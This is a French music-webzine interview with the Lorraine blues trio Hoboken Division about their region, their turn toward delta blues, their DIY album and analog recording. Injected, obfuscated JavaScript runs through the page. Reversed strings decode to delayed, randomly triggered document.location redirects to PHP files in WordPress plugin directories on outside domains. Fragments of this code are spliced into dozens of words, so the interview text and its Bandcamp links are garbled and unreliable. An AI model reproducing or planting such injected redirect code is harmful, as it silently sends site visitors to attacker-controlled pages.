Hoboken Division est donc un groupe lorrain. Après avoir sorti un premier EP très garage en 2012 (S/t), la formation s'est depuis imprégnée de blues. Ce virage a été amorcé par un superbe single 45t au tempo lent à l'atmosphère tendue et lourde (A Night Out), et s'est concrétisé sur son 1er album, Arts & Crafts, combinant ces deux aspects. Ceci en attendant un nouvel album, annoncé pour mi-2017. Désormais, ils sont un trio : Thibaut, à la batterie, a rejoint le duo originel, Marie au chant et Mathieu à la guitare. Nous les rencontrons peu avant leur concert en première partie du bluesman suédois Bror Gunnar Jansson, à La Boule Noire, pour qu'ils nous parlent de géographie, de blues, des deux à la fois, de climat, et de leur musique aussi.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}</script>andcamp.com/EmbeddedPlayer/album=3742560123/size=large/bgcol=ffffff/linkcol=0687f5/artwork=small/track=2029137124/transparent=true/" width="300" height="150" seamless=""><a href="http://hobokendivision.b<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.ran<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}</script>andcamp.com/album/arts-crafts-lp">Arts & Crafts (LP) by Hoboken Division</a>
Chicane : Dans une interview récente, vous parliez de votre terre d'origine comme étant « Le Texas lorrain ». Ça vient d'où, cette expression ?
Mathieu : Elle me vient de mon beau-père, qui venait de Poitiers, et qui, qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and il est arrivé dans la région fin 70-80, m'a dit qu'il y avait une sorte de ciel orangeâtre dus aux fourneaux... Et que la Lorraine, c'était un peu « l'Eldorado » pour beaucoup de gens parce que c’est là où il y avait du boulot à l’époque, comme le Texas lors de la ruée vers l'or noir. (S’adressant à Thibaut, le batteur) T’as déjà entendu ça dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toi aussi, non ?
Thibaut : Ouais, ça vient de la sidérurgie. Ma famille paternelle, c’est des mineurs, et ils appelaient ça le "Texas Lorrain" parce que c’était un peu la Terre Promise. Après la guerre, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute la France a débarqué ici pour bosser dans les mines et dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ça. Mais du coup, c’est plus les anciennes générations qui disaient ça.
Mathieu : Maintenant, vu que dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout est désaffecté, il n'y a plus que de grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andes structures vides, encore debout et en vie, et c’est assez beau. C’est glauque mais ça a un certain charme. Et puis, par rapport à la musique qu’on fait, ça se rapporte à notre son un peu « industriel », amené par des boites à rythmes assez violentes.
Le fait que vous viviez à proximité de la Suisse et de sa scène blues et garage fleurissante, ou en Lorraine, est-ce que ça a une quelconque influence sur vous ?
Marie : Plus du côté Lorrain, en fait. A part les grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands, genre le Reverend Beatman et compagnie, moi la Suisse je ne savais même pas que c’était réputé pour ça.
Mathieu : Ouais avant qu’on fasse des concerts, on n’en avait aucune idée. Chez nous par contre, il y a beaucoup de gens qui font du blues bien roots, guitares acoustiques, il y a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute une clique de musiciens sur Metz et Nancy qui sont très attachés au Blues, mais pas au Chicago Blues, ce qui est cool. Du blues un peu plus dégueulasse, un peu cracra. Et c’est vrai que, qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and on fait des dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournées, c'est rare qu'un groupe de blues ne vienne pas de l’Est...
Comme vos compatriotes de Thee Verduns, et d'ailleurs, $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcamp.com/album/kz027-le-cat-chisme-de-la-joie-la-vie-entiere" target="_blank">comme eux, la pochette de votre album a été dessinée par Jean-Luc Navette. Elle est censée vous représenter ? (voir ci-dessous)
Marie : Ouais, c’est nous en super fatigués.
Mathieu : Au départ, on voulait quelque chose genre deux crânes dans un médaillon. Et qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and notre label, Les Disques de La Face Cachée, nous a présenté le travail de Navette, c’est exactement ce qu’on voulait. Une esthétique bien 14-18, de vieux blues, un truc un peu glauque, noir... on a été dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalement séduit par le projet. Il nous a dit par mail « ouais j’ai pas trop le temps, je bosse pour beaucoup de trucs en ce moment, mais je vais faire un petit truc », et qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and on a reçu ce petit truc, bah, c’était super.
C'est super lugubre, c'est quoi le problème des Lorrains exactement ?
Mathieu : Il fait un temps de merde
Thibaut : C’est zone sinistrée
Mathieu : Y’a pas de boulot
Marie : D’ailleurs, on a eu un post sur Facebook à mourir de rire à ce propos, genre, le mec disait : « le dessin me file le mouron, bonne date mais moi je viendrai pas »… Alors qu'en vrai la musique qu’on fait n’est pas du dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout froide ni glauque, et on n’est pas comme ça sur scène. C’est vraiment du second degré.
Mathieu : Le disque s’appelle « Arts & Craft » parce que c’est vraiment de l’artisanat. On s’était dit que pour l’album, quoi qu’il arrive, on ne mettrait pas d’argent de notre poche : dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ce qu’on mettra dedans, c’est uniquement des cachets qu’on gagnera en concert. Et ce côté DIY ça nous correspond bien, c’est une démarche qui est super intéressante parce que tu rencontres énormément de monde, des gens intéressants, qui s’inscrivent dans une démarche alternative.
Dans une interview d’ailleurs, vous disiez que ça ne vous intéressait pas de jouer pour des grosses structures, genre des banques dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ça…
Mathieu : C’est plus gratifiant je trouve.
Marie : Après, je vais pas juger ceux qui ont d’autres méthodes, mais je suis plus à l’aise en faisant comme ça, en me disant que c’est de l’argent qu’on a gagné, qu'on ne l’a demdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andé à personne. Faire de la musique c’est tellement difficile que tu le fais parce que tu as besoin de le faire et que tu le sens… J’arrive pas à m’imaginer aller demdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander de la thune à mes potes, à mes parents, aller faire des "ulule", ou des tremplins à la con, ça n’a pas de sens. Le but c’est pas de devenir des stars, le but c’est de faire de la musique.
Mathieu : Après qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and t’y connais rien, tu fais des tremplins, des trucs qui te donnent un peu de visibilité, mais bon…
Marie : … Nous on en a fait 1 ou 2, et plus jamais ça.
Mathieu : L’ambiance entre les groupes, ça se tire dans les pattes , c’est l’arrache pour les balances…
Marie : Ça pue la foire au bétail aussi...
Mathieu : Alors que le but dans la musique, c’est le partage, discuter avec le public, les musiciens, c’est 10 fois plus intéressant que de faire une dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournée des SMAC. C’est dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours le même schéma ça, c’est comme l’usine.
Thibaut : Et chez nous on peut pas travailler à l’usine, elles sont fermées.
Vous avez maintenant un batteur avec vous, comment se passe ta relation avec la boite à rythme, la batteuse originelle ?
Thibaut : Très bien, elle est chinoise, on est un couple maintenant. Nan, on travaille ensemble, en fait. C’est pas si facile que ça parce qu’il faut être très droit, pas aller dans dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les sens et essayer de garder la même intensité dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le long, mais je ne suis pas une machine. C’est pas si évident, c’est pas ma manière habituelle de jouer, mais c'est intéressant de mixer les deux, on a pas mal travaillé ça, pour ne pas dénaturer l’esprit du groupe, du son.
A ce propos, revenons aux questions capitales de base : comment on se met au blues et au bottleneck en Lorraine ?
Mathieu : C'est un peu particulier. En fait, ça me vient du rock anglais, des Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone Roses, et de leur guitariste John Squire. Le premier morceau sur lequel j’ai bossé c’était « Love Spreads ». Et c’était la première fois que j’entendais de la guitare slide, et que j'essayais un accordage différent. Après, ça a découlé sur du Mississippi Fred Mcdowell et dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute la scène Mississippi North Hill Country. C’était donc il y a une quinzaine d’années.
Depuis votre EP, qui était plus « garage-rock », vous vous êtes davantage dirigés vers le blues, vers des ambiances plus sombres. Qu’est-ce qui vous a fait basculer ?
Mathieu : A titre personnel, c’est la recherche des grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands bluesmen du delta, et notamment le documentaire de Fat Possum sur Cedell Davis, RL Burnside, ou Junior Kimbrough, "You See Me Laughin". La démarche qu’ils ont, c’est que même si on te met des bâdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons dans les roues, et que même si c’est dur, bah tu continueras à faire de la musique dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute ta vie. En grattant, je me suis renseigné sur l’hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire de ces mecs-là, la musique qu’ils faisaient, et on est dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tombé sur Skip James et là c’était la révélation. Et c’est comme ça qu’on est passé à une musique plus blues/delta... et étant donné que moi je viens d’un côté un peu shoegaze/psyché, on a trouvé que les sons avec la Fuzz s’y prêtaient bien en fait, l’ambiance collait bien.
Vous avez repris « Devil Got My Woman » de Skip James en la déstructurant dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalement. Qu’est-ce qui vous a poussé à en faire une ballade blues-noise complètement désespérante ?
Marie : En fait moi le blues, avant de commencer à bosser avec Mathieu, j’y connaissais vraiment pas grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and chose. Donc en gros dès qu’il m’apportait un morceau, j’avais pas de point de comparaisons, d’exemples. Et là, je ne connaissais pas la chanson, j’avais juste l’interprétation de Mathieu de cette chanson. Je pouvais pas copier parce que je connaissais pas. Donc le triturage du texte, qu'on ait pris que deux/trois phrases et la façon que j’ai de les chanter, c’est juste parce que j’ai dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout découvert après coup.
Mathieu : C’est vraiment de l’expérimentation, je voulais faire quelque chose avec ce titre… et ça peut partir loin parfois…
Celle de RL Burnside est du même acabit. Comment est-il devenu la référence prédominante de Hoboken Division ?
Mathieu : En fait, il a un jeu fantastique, ça groove, c’est mélodieux, c’est entêtant, ça fait un peu penser au juke joint, le mec est dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours sur le même accord mais à force ça rentre, comme un mantra. Et aussi ce que j’ai aimé, c’est qu’au final ses morceaux sont très simples mais extrêmement difficiles à apprendre. Qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and tu commences à y arriver, c’est là que tu comprends l’expression « ressentir la musique ». Tu sens le groove qui monte, qui vient, c’est vachement vivant.
Marie, tu dis avoir appris à « salir ce que (tu) connaissais de la musique et du chant »qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and tu t'es mises à jouer au sein d'Hoboken Division. Tu veux dire quoi par là ?
Marie : En général qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and t’apprends à chanter de façon classique, il faut que ta voix soit "jolie", qu’il y ait du souffle dessus, que tes notes soient bien droites, que les gens disent « oh, elle a une belle voix »
Matthieu : « Elle chante bien, hein »
Marie : Oui voilà. Jusqu’au moment où j’ai travaillé avec quelqu’un qui m’a vraiment forcé en me disant « Gueule ! gueule ! gueule ! » Je savais pas que ça pouvait être cool qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ce n’était pas ‘joli’. Je sais pas si c’est en rapport avec le fait que je sois une fille, mais j'ai dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours eu l'impression qu'on voulait que ce soit vachement joli... et dans ce que j'écoutais, à part Janis Joplin, j’avais pas trop d’autres exemples, à l'époque.
Ce côté sale transpire de l’album, de par sa production, analogique, sur bdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andes...
Matthieu : Oui, ça donne un côté urgent, il n’y a pas de triche, c’est direct, et tu n’as pas comme idée d’avoir un morceau parfait avec mille prises différentes. Tu fixes la musique à un moment T.
Marie : Si on rate une prise, on la refait et on efface l’autre à dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout jamais. Je trouve que ça va bien avec la musique qu’on fait.
D’ailleurs, vous semblez imprégnés par cet esprit « sud des Etats unis », aussi vague soit-il... vous y êtes déjà allés ?
Mathieu : Non, en fait c’est de l’imaginaire pur.
Marie : C’est de la culture générale et un imaginaire commun, qu'on a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous en Europe, je pense.
"A Night Out" semble sortir du lot par sa tension particulière. C'est quoi son hisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire ?
Marie : On en a vraiment chié pour la sortir celle-là, mais genre VRAIMENT. Je me souviens juste de notre souffrance ultime pendant la composition.
Mathieu : C’est marrant parce que, qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and tu composes, tu peux avoir des morceaux comme Shoot the Chicken, qu'on a fait en 2 secondes, alors que "A Night Out" ça a duré plus de 2 mois.
C’était un vieux truc qui trainait dans les fonds de tiroir, et on voulait quelque chose en open de Ré-mineur sur le mini EP, avec « Devil Got a Woman ». Et c’est dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout.
Euh ok, si tu veux. Bon...
Marie : Mais c’est aussi un morceau que j’aime beaucoup hein… maintenant c’est bon, c’est passé…
Thibaut : Ce morceau je l’adore aussi, j’étais pas là qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ils l’ont fait à l’époque, mais qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and on l’a abordé pour le live, ça a pas été facile. D'ailleurs au début on a fait une première version live… qu’on n’a pas joué. Ce morceau, il est tendu de A à Z, c’est de la surtension, qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and t’arrives à la fin t’es content que ça s’arrête.
Et au niveau des paroles ?
Marie : Je crois que de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute façon à peu près dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les chansons qui sortaient de cette période, c’était que de la tristesse amoureuse. Il y a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout un bloc de douleur intense, et elle est dedans.
Participez à l'essor de la Lorraine ☛ Facebook : https://www.facebook.com/hobokendivision ☛ Bdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcamp : $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcamp.com" target="_blank">https://hobokendivision.bdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andcamp.com
Mathieu : RL Burnside - A pocket Full of Whisky Velvet Underground - White Light / White Heat Rowldom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and S. Howard - Teenage Snuff Film
Thibaut : The Who - My Generation Sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone Roses - 1er album
Marie : The White Stripes - Elephant RL Burnside - Ass Pocket of Whisky Yeah Yeah Yeahs - Fever dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Tell
JavaScript est actuellement désactivé. Afin de pouvoir poster un commentaire, s'il vous plaît contrôlez que les Cookies et JavaScript sont activés puis rechargez la page. Cliquez ici pour savoir comment activer JavaScript dans votre navigateur.
Prévenez-moi de tous les nouveaux commentaires par e-mail.
Prévenez-moi de tous les nouveaux articles par email.
